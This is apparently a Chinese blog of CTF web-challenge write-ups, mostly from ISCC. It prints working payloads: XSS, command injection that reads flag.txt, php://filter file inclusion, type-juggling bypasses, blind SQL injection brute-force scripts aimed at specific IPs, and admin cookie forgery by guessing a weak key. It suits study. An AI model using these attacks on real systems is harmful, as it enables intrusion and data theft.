这题考察的是对strcmp()函数的理解,strcmp函数在对数组类的变量是会返回0的,在与其他变量比较时直接返回0,成功得到flag

为什么这么简单啊

打开网址发现了第一关的提示。

从xxxx进入的意思大致是构造Referer:http://edu.xss.tv,ip构造为题目所要的就能进入第二关了。
发现页面跳转到了number2.php?token=260ca9dd8a4577fc00b7bd5810298076,第二关要求我们输入密码,提示了密码在哪,所以打开F12找密码。

意外发现了password.js,那一串疑似base64的编码加上==号解码试试,果不其然就是密码了,把密码输进去flag到手。

本地的诱惑

抓包,添加X-Forwarded-For:127.0.0.1,即可得到flag

你能跨过去吗

1
http://www.test.com/NodeMore.jsp?id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA%2bAC0-&_=1302746925413

题目给了一个这个url,还有xss的提示,在url发现callback参数有问题,url解码发现

1
+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-

+/v+是utf-7编码格式,后面的base64得到<�script>alert(“key:/%nsfocusXSStest%/“)<�/script>
把key输入文本框就能得到flag了

一切都是套路

这道题目一开始还没做出来,后面捋捋思路发现还是挺有趣的,一道关于变量覆盖的题目。
首先找找有没有源码泄露,发现有个index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

include "flag.php";

if ($_SERVER["REQUEST_METHOD"] != "POST")
die("flag is here");

if (!isset($_POST["flag"]) )
die($_403);

foreach ($_GET as $k => $v){
$$k = $$v;
}

foreach ($_POST as $k => $v){
$$k = $v;
}

if ( $_POST["flag"] !== $flag )
die($_403);

echo "flag: ". $flag . "\n";
die($_200);

?>

flag在$flag里面,然后要我们通过post传参使得输入的flag等于$flag里面的内容,但是我们并不知道flag是啥,仔细观察发现有$$一个东西,我们可以考虑变量覆盖来做。
进一步观察发现$_200这个变量是一定会输出的,而且里面的内容并不重要,而$flag在传参的时候会被覆盖,所以我们可以考虑把$flag的内容给$_200,而$flag我们可以通过postflag=flag构造来满足题目所要的$_POST[“flag”] !== $flag
所以最终的构造为

你能绕够吗

这道题目考察的是文件包含,进题目后随便点点发现了这个

我们可以尝试一下?f=php://filter/read=convert.base64-encode/resource=index.php发现弹出一个error。很有可能把某个关键词给过滤了,试了试发现是php被过滤了,那尝试用大小写来绕过发现没有问题,但是并没有回显我们一直index.php是存在的,其他的关键词也没被过滤,php这个关键词我们也用大小写绕过了,但是为什么还是读不出结果呢?这只剩下一种可能,由于在之前过滤了php,那很有可能后面又加上了php这个后缀,所以导致我们读不出,抱着希望尝试一下?f=Php://filter/read=convert.base64-encode/resource=index,结果出现了回显

1
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+5a+86Iiq6aG1PC90aXRsZT4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KPC9oZWFkPgo8Ym9keT4KICAgIDxhIGhyZWY9J2luZGV4LnBocD9mPWFydGljbGVzJmlkPTEnPklEOiAxPC9ocmVmPgogICAgPC9icj4KICAgIDxhIGhyZWY9J2luZGV4LnBocD9mPWFydGljbGVzJmlkPTInPklEOiAyPC9ocmVmPgogICAgPC9icj4KICAgIDxhIGhyZWY9J2luZGV4LnBocD9mPWFydGljbGVzJmlkPTMnPklEOiAzPC9ocmVmPgogICAgPC9icj4KICAgIDxhIGhyZWY9J2luZGV4LnBocD9mPWFydGljbGVzJmlkPTQnPklEOiA0PC9ocmVmPgogICAgPC9icj4KPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAogICAgI0lTQ0N7TEZJT09PT09PT09PT09PT099CiAgICBpZihpc3NldCgkX0dFVFsnZiddKSl7CiAgICAgICAgaWYoc3RycG9zKCRfR0VUWydmJ10sInBocCIpICE9PSBGYWxzZSl7CiAgICAgICAgICAgIGRpZSgiZXJyb3IuLi4iKTsKICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICAgaW5jbHVkZSgkX0dFVFsnZiddIC4gJy5waHAnKTsKICAgICAgICB9CiAgICB9CiAgICAKPz4KCg==

base64解码后,发现flag

Web02

尝试XFF无果,再试着其他几个伪造ip。成功拿到flag
记录一下除了XFF可以伪造ip的HTTP头
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr

请ping我的ip 看你能Ping通吗

这道题目我用扫描器扫了一下,发现有个flag.txt,直接读取flag。后面请教大手子-郁离歌师傅,才知道这里有另一种解法。
输入?ip=127.0.0.1%0a%20ls可以读取目录,然后再目录下发现flag.txt,ip=127.0.0.1%0a%20cat%20flag.txt读取flag.txt

Please give me username and password

这种题目不给提示,那就试试源码泄露,发现index.php.txt存在,读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$flag = "***********";
if(isset($_GET['username'])){
if (0 == strcasecmp($flag,$_GET['username'])){
$a = fla;
echo "very good!Username is right";
}
else{
print 'Username is not right<!--index.php.txt-->';}
}else
print 'Please give me username or password!';
if (isset($_GET['password'])){
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999){
$b = g;
print '<p>very good!Password is right</p>';
}else
print '<p>Password too little</p>';
}else
print '<p>Password too long</p>';
}else
print '<p>Password is not numeric</p>';
}
if ($a.$b == "flag")
print $flag;
?>

得到需要满足两个条件。第一,0 == strcasecmp($flag,$_GET[‘username’]这里我们可以通过数组来绕过,第二点,password长度小于4,但是他又要大于999,这里我们可以考虑用科学记数法,password=1e9就能大于999。所以最终payload为

?username[]=1&password=1e9

php是世界上最好的语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
}
else{
$username="hello";
$password="hello";
}
if(md5($password) == 0){
echo "xxxxx";
}


show_source(__FILE__);
?>

让我们输入username和password,要求只有一个,就是让我们密码的md5为0,构造0e开头的MD5就够了。
接着跳到了一个页面叫我们点击,那就按照他的意思点击吧。
接下来发现又是一段源码。

1
2
3
4
5
6
7
NULL <?php 
include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
show_source(__FILE__);

?>

直接构造a=GLOBALS就行了,这是某春秋上的原题了。

sql注入的艺术

首先测试了一下’和”是否有用,发现被过滤了,接着试了试%df%27发现原来这是宽字节注入,其他的啥也没过滤,按着流程走就行了

试试看

观察url发现这又是一道文件包含的题目,瞎操作了一个晚上还是读取不出东西,之后只好求助郁离歌大手子,他丢了两个源码给我让我做代码审计,我自己搭环境测试了好久最终才做出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}

preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}

header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}

}
else
{
?>
<img src="1.jpg">
<?php
}
?>

以及

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
function get_contents($img)
{
if(strpos($img,'jpg') !== false)
{
return file_get_contents($img);
}
else
{
header('Content-Type: text/html');
return file_get_contents($img);
}
}
?>

config.php就是读取文件,关键是如何绕过show.php把我们所需要的文件传进去,它要求我们的参数里面必须包含img但是我们一旦有img那读取的一定是图片格式,所以,我们需要把img给弄掉,把我们的show.php的字符传进去。

preg_match(‘/^php:\/\/filter.resource=([^|])/i’,trim($img),$matches)

这是把我们resource之后的字符传进去的代码,由于对正则不太熟悉,所以我在本地试了试这行代码的作用,在这个正则表达式中,读取的字符串只是最后一个resource=之后的(感兴趣自己去学习一个正则),所以我们可以构造多个resource来读取我们所要的字符串,payload为?img=php://filter/resource=10.jpg/resource=show.php我们就能读取我们所要的文件了,flag在哪完全是靠直觉,读取flag的操作为?img=php://filter/resource=10.jpg/resource=../flag.php

Sqli

讲真,很讨厌这种注入题,也没什么提示,首先还是按照一些万能密码试试,在试到admin’#发现成功登入了,这就说明#没有被过滤,然后试了试admin’ and 1=1#admin’ and 1=2#,发现回显不同,布尔型注入没跑了,首先是爆出password,然后登入有个提示flag在kjafuibafuohnuvwnruniguankacbh里面,所以爆破这个字段发现flag,这是最后爆破的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
import requests
import string
databaselength = 13
databasename = "sqli_database"
url = "http://118.190.152.202:8011/"
tablenumber = 2
tablelength = 4
tablename1 = "news"
columnnumber = 6
columnnames = "title note kjafuibafuohnuvwnruniguankacbh id date text"
tablename2 = "user"
columnnumber2 = 45
flag = ""
for i in range(1,50):
r = requests.post(url,data={"username":"admin' and ((select length(kjafuibafuohnuvwnruniguankacbh) from news)=%d)#"%(i),"password":"123"})
if "normal user" in r.content:
length = i
break
for i in range(1,length+1):
for j in range(20,123):
r1 = requests.post(url,data={"username":"admin' and ((select ascii(substr(kjafuibafuohnuvwnruniguankacbh,%d,1)) from news)=%d)#"%(i,j),"password":"123"})
if "normal user" in r1.content:
flag = flag + chr(j)
break
print flag

Collide

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "secret.php";
@$username=(string)$_POST['username'];
function enc($text){
global $key;
return md5($key.$text);
}
if(enc($username) === $_COOKIE['verify']){
if(is_numeric(strpos($username, "admin"))){
die($flag);
}
else{
die("you are not admin");
}
}
else{
setcookie("verify", enc("guest"), time()+60*60*24*7);
setcookie("len", strlen($key), time()+60*60*24*7);
}
show_source(__FILE__);

如果我们的md5(key.username)不等于我们传过去的verify那么网页会自己生成一个verify=md5(key.guest),以及length为key的长度。那这样我们知道了以下几点:
key的长度,key+guest的md5以及username要有admin。
已知的条件是不是很熟悉呢?再梳理一遍。
salt为51位,salt的MD5已知,拓展字符位admin。
没错这就是Hash长度拓展攻击。那么先把username=name这个post过去,然后抓包,使用脚本来拓展,然后传参。

Only admin can see flag

见之前的一篇文章。

order by以及group by在sql注入中的妙用

写在前面

最近Iscc的注入题目真是让人发疯,为此我找了一些sql注入来练手,发现了这么几道有趣的题目,来记录一下

order by

总所周知,在sql注入中,我们一般使用order by来确定列数,这样有助于我们使用联合查询来查询我们所要的数据,为何可以查询出我们所要的数据呢?因为order by是一个排序的函数,order by x的意思是对x列的数据进行ascii码的排序,如果这一列不存在,那么就会报错,所以可以达到确定列数的作用。例子就借鉴大手子的吧。

例子如下

扫出有源码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "123456";
$db = "ctf";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");

/* sql

create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

从源码可以得出,在这个admin表中有三列。其次呢,发现这题目过滤了password,username,=等等,然后就是回显的要求了,要求我们输入的数据在数据库里面存在,然后通过id给我们返回username,但是我们所要的flag在password里面,这里就需要我们用一些特殊的方法来把password提取出来,由于回显,我们考虑一下布尔型注入,发现()被ban了,所以这一条路是走不通了,不过仔细观察发现,我们除了union select还可以利用’以及order by等函数。结合回显是通过id来查询,所以我们可以使用order by进行排序然后通过不同输出判断密码值。我们可以试试。
首先通过构造‘ or 1#查查原来的username。

再查询一下回显位。

接着按照我们的思路来试试。


测试完了接下来就可以使用爆破来出flag了。脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf-8
import requests
import string
url = "http://202.98.28.108:10801/47g256f48gff/"
l = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}"
number = len(l)
password = list()
flag = 0
ps = ""
for i in range(0,32):#32位
for j in range(0,number):
p = ""
password.append(l[j])
p = p.join(password)
r = requests.post(url,data={"username":"whaleadmin' union select 1,2,'%s' order by 3#"%(p),"password":"1"})
if "whaleadmin" in r.content:
if j == 0:
flag = 1
break
else:
password.pop(len(password) - 1)
password.append(l[j - 1])
break
else:
password.pop(len(password) - 1)
if flag == 1:
break
print password
print ps.join(password)#输出的密码最后一位需要后移一位

爆破出密码之后md5解密一下flag就出来了。

group by以及with rollup

group by顾名思义就是把不同数据总和起来,然后进行排序输出。具体的例子可以去这里看看https://www.cnblogs.com/jingfengling/p/5962182.html,我这里就不多阐述了。
字句with rollup,求平均值的字句用法也不多说,参考https://blog.csdn.net/id19870510/article/details/6254358

例子

题目地址:http://ctf5.shiyanbar.com/web/pcat/index.php ,这是实验吧的一道题目。
首先f12有个提示,访问/source.txt得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

源码审计,发现题目过滤了很多东西,起码联合查询,延时注入,盲注都不太现实,但是这里依旧没有过滤select,接着看得到flag的要求。
首先我们输入一个用户名,网页通过查询数据库得到该用户名的密码,再把该用户名的密码与我们所输入的进行匹配,如果成功,那么flag就到手了。
那么问题来了,我们根本不知道用户名,也不知道其密码是什么,如何达到匹配的效果呢?这里group by就派上了用场。注意这个$key是查询结果的赋值,我们在一定前提下是可以控制返回的数据的,根据gourp by的用法,我们可以构造一个语句使得查询的密码经过处理后为空,然后输入的密码也为空以此匹配。
构造‘ or 1 group by pwd with rollup limit 1 offset 0,1,2…….#偏移值一个一个试过去,毕竟不知道那个是有效值,经过尝试最终试出flag的偏移值为2。

结语

sql注入中的基操还是太多了,学不完学不完…….不过还是该学的得学,紧跟着大佬的步伐。

入侵后台的一次尝试

写在前面

最近的ISCC放出了一道web400的题目,里面的代码审计真的是令人头疼,所以为了做出这道题目,我又跑去塔主那里学习了一波(其实之前打卡太懒了,没有认真去学习东西)。

一次看了解析的入侵后台的操作

先贴上网址吧。http://202.98.28.108:10013/7sghfe673jd3/index.php?action=front&mode=login

初步判断


打开网站,发现可以攻击的点有很多,比如我们可以在登入框尝试sql注入攻击或者sql约束攻击,也可以尝试去进行xss和CSRF攻击,不过这只是一道CTF题目,管理员不太可能会从登入框登入,所以CSRF攻击可以考虑先放一边。

这里是值得注意的一个点,当我们看到形如这种?action=front&mode=login是可以去考虑文件包含漏洞的,一般看到这种,就可以大胆猜测后台是通过file=$action.’/‘.$mode.’.php’这种类型的代码来读取文件的。

进一步探索

之前都是考虑的一些点,不过还是先按照作者的思路走,既然有一个注册账号的界面,那我们先注册登入看看。

登入进去发现了一条笔记,笔记内容大致是说只有管理员才可以删除笔记,末尾还有一个hint,我们打开这个./dbinit.sql,发现弹出一个下载界面,既然是提示,那就下下来看下吧。

这里提供了一个很有用的信息就是数据库里面有一个flag表,我们从里面应该就能得到我们所要的flag了,所以这里肯定会涉及到sql注入的地方,不过,在哪里注入是一个未知的问题。
随后我还点了点新建笔记,删除笔记的时候提示我只能是admin才能操作。

LEF漏洞读取文件

没啥可以利用的东西了,我们可以试试之前考虑过的文件包含漏洞,构造

?action=php://filter/read=convert.base64-encode/resource=./&mode=index

成功读取了文件,base64解码得到了index.php的内容。接下来就好办多了,把已知文件名的内容全部读取出来。用扫描器扫了扫,发现了其他的一些文件。

全部把源码读取出来

源码审计

先来总结一下我们所得到的几个文件的源码:
index.php
common.php
admin/login.php
admin/index.php
还有一些其他的源码不太重要我就不列举了。
首先看看index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function d_addslashes($array){

foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{

$array[$key] = d_addslashes($array[$key]);
}
}
return $array;

}

$_POST=d_addslashes($_POST);
$_GET=d_addslashes($_GET);

可以看到这里使用了转义’来防止我们使用sql注入,那这样一般来说sql注入是行不通的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include_once('common.php');

if(!isset($_GET['action'])||!isset($_GET['mode'])){

header("Location: ./index.php?action=front&mode=login");

}elseif(!preg_match('/\.{2}/is',$_GET['action'])&&preg_match('/^[0-9A-Za-z]+$/is',$_GET['mode'])){
$action=$_GET['action'];
$mode=$_GET['mode'];
$file=$action.'/'.$mode.'.php';

// echo $file;

}else{

die("Invalid Request!");
}

和我们之前猜想的一致,动态链接果然是通过$file=$action.’/‘.$mode.’.php’;来读取我们所要的文件的。此后遇到这种情况一般都可以这样考虑,不过有些题目如果过滤了,那再去考虑如何绕过过滤。
index.php应该是没有什么可值得审计的了,接下来该审计的地方就是admin/login.php这个点了,common.php里面的配置我们在需要的时候再去看。
这是admin/login.php的一些主要内容

简单分析以下就是,首先判断用户输入的用户名和密码是否有效,这里用到了CSRFTOKEN来判断,然后再去数据库中查询我们所输入的用户名和密码是否正确,其实这里是可以尝试注入攻击的,但是我们所要的数据不在这里,所以也没有攻击的必要。

1
2
3
4
5
6
7
8
function set_login($uname,$id,$level){
$_SESSION['userid']=$id;
$_SESSION['level']=$level;

$endata=encode($uname);
setcookie("uid","$uname|$endata");

}

这是set_login函数,它把id和level赋给了两个session中的值,然后值得注意的是它把uname|和encode加密后的uname拼接在了一起作为uid,并且把它设为了cookies,可以看到这里虽然进行了登入验证,但是它在跳转到admin/index.php的时候,身份验证是通过cookies来验证的,所以这里我们可以通过构造cookies来绕过admin/login.php直接登入admin/index.php。
接下来看看admin/index.php

看看验证登入的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function check_login(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);

if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){
return $_SESSION['userid'];

}else{

return FALSE;

}

}

只是把uid还原了而已,所以我们是可以通过构造uid来实现绕过的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function get_level(){

$uid=$_COOKIE['uid'];
$userinfo=explode("|",$uid);

if($userinfo[0]&&$userinfo[1]&&$userinfo[1]==encode($userinfo[0])){

if($_SESSION['level']!=="0"){

return $_SESSION['level'];
}else{
return FALSE;

}
}else{

return FALSE;
}

}

level由于一开始我们登入就默认赋值为了1,所以是没必要去构造level的。接下来可以试着去攻击了。

构造cookies绕过

先来看看encode是如何加密的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function rand_str($lenth=16){
$rand=[];
$_str="wh";
while($lenth){
$rand[]=$_str[rand(0,strlen($_str)-1)];
$lenth--;
}
// var_dump($rand);
return implode($rand);
}



if(!isset($_SESSION['SECURITY_KEY'])){

$_SESSION['SECURITY_KEY']=rand_str(6);

}



function encode($str){
return md5($_SESSION['SECURITY_KEY'].$str);

}

首先是随机生成一个6位的key然后和username经过md5加密,这里有一个难点就是rand()函数随机从h和w取,这一般对我们来说是无法得到key的,但是rand()函数其实是可预测的,它是一个伪随机函数生成器,原理就不多说了。详细参考这篇文章:http://www.freebuf.com/articles/web/99093.html
要预测就必须要有经过rand()函数生成的前33位数据,所以除了一开始的6位,哪里还有呢?

1
2
3
4
if(!isset($_SESSION['CSRF_TOKEN'])){
$_SESSION['CSRF_TOKEN']=rand_str(16);

}

还有TOKEN,所以我们可以通过两次访问来获取共计44位的数据,来预测下一次生成的key。直接贴塔主的脚本吧。不过塔主的脚本只是针对随机取的字符串只存在少数的情况下,通过爆破来实现的。

import requests
import re
import itertools
import random
import hmac
import hashlib
import sys
import string
rand = 'wh'    //根据需要自行更改
get_token = "http://202.98.28.108:10013/7sghfe673jd3/index.php?action=admin&mode=login"
test_cookie = "http://202.98.28.108:10013/7sghfe673jd3/index.php?action=admin&mode=index"

def get_csrf_token(res):
    rex = re.search(r'\S*<input type="hidden" name="TOKEN" id="password" value="(\w*)">', res.content)
    print rex.group(1)
    return rex.group(1)


def test_token(s,screat,phpsessionid):

 # _cookie=s.cookies
 # requests.utils.add_dict_to_cookiejar(_cookie,{"uid":"admin%7c"+hash_hmac(screat)})

    s.headers['cookie']=""
    s.headers['Cookie']="uid=admin%7c"+hash_hmac(screat)+"; "+phpsessionid


    res=s.get(test_cookie)
    if res.content.find("not login")<0:
        print "key",screat
        print "cookies",s.headers['Cookie']
        return True
    else:
        print "key:",screat,"failed!"
        return False


def hash_hmac(data):
    hash=hashlib.md5()
    hash.update(data+"admin")
    # h = hmac.new(key, data, hashlib.md5)
    return hash.hexdigest()

def rand_str(length):
    return ''.join(random.choice(string.letters + string.digits) for _ in range(length))

def calc_maybe(lst):
    prd = []
    for i in lst:
        prd.append((i, i+1))
    return itertools.product(*prd)


flag = True
while flag:
    rand_lst = []
    s = requests.session();
    s.headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
                      "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
                      ".0.2704.63 Safari/537.36"
    }


    s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(26))
    phpsessionid=s.headers['Cookie']
    for i in range(2):
        for j in range(2):
            for k in range(2):
                for l in range(2):
                    for m in range(2):
                        for n in range(2):
                            secret = rand[i]+rand[j]+rand[k]+rand[l]+rand[m]+rand[n]
                            if test_token(s, secret, phpsessionid):
                                flag = False
                                break
                    if flag ==False:
                        break
                if flag == False:
                    break
            if flag == False:
                break
        if flag == False:
            break
    if flag == False:
        break


现在我们得到了uid以及登入时验证的phpsessid,可以通过火狐插件来修改cookies,直接以admin身份登入。

获取我们所要的信息


可以看到这里只有一个查询功能,点开。

发现这里只有一个查询前多少条的功能。先利用LEF漏洞看看源码。

这里有一个is_numeric()函数,我们只能输入数字,0e类型,还有十六进制。是无法输入字符串的。不过,仔细看看最初的sql文件。

这里的num是字符串形式,也就是说,我们输入的hex值,是可以被当作字符来处理的。所以我们可以通过把我们的查询语句转为hex值然后进行查询。值得注意的是note是有四列的。

语句如上,所以不用加’闭合,前面的条数一定要比数据库有的条数少,要不然会报错。所以查询语句为2 union select 1,flag,3,4 from flags
经过处理变为0x3220756e696f6e2073656c65637420312c666c61672c332c342066726f6d20666c616773
拼接起来就是select * from note limit 0,2 union select 1,flag,3,4 from flags
接着提交就能查出flag了,如果不是题目那么我们是可以通过注入取拿shell了。

写在最后

这一次的流程的确是有很多很多的坑,我归纳起来也用了将近3天RCTF日常爆零,安恒又不会打,ISCC新放出的题目也不会做,太垃圾了。欸。。。。。。。。。。。。

本站总访问量